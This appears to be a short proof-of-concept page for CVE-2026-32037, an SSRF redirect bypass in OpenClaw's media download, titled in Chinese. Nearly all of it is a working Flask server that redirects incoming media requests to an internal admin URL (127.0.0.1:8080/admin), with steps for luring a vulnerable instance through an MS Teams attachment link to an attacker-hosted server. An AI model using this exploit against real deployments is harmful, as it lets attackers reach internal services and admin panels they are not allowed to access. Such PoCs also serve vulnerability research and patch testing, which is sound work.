CVE-2026-32037 OpenClaw媒体下载重定向SSRF绕过漏洞

# Conceptual PoC for CVE-2026-32037 # Attacker-controlled server that redirects to internal target from flask import Flask, redirect, request app = Flask(__name__) # The internal target the attacker wants to reach (e.g., internal admin panel) TARGET_INTERNAL_URL = "http://127.0.0.1:8080/admin" @app.route('/malicious_media') def exploit_redirect(): """ OpenClaw will request this URL because 'attacker.com' might be trusted or logic fails to check the redirect destination. """ print(f"Received request from: {request.remote_addr}") print(f"Redirecting to internal target: {TARGET_INTERNAL_URL}") # Force a redirect to the non-allowlisted internal target return redirect(TARGET_INTERNAL_URL, code=302) if __name__ == '__main__': # Run the malicious server app.run(host='0.0.0.0', port=80) # Usage: # 1. Attacker hosts this script. # 2. Attacker sends a MSTeams message with an attachment URL pointing to: # http://attacker-server-ip/malicious_media # 3. Vulnerable OpenClaw instance fetches the URL, follows the 302 redirect, # and accesses http://127.0.0.1:8080/admin.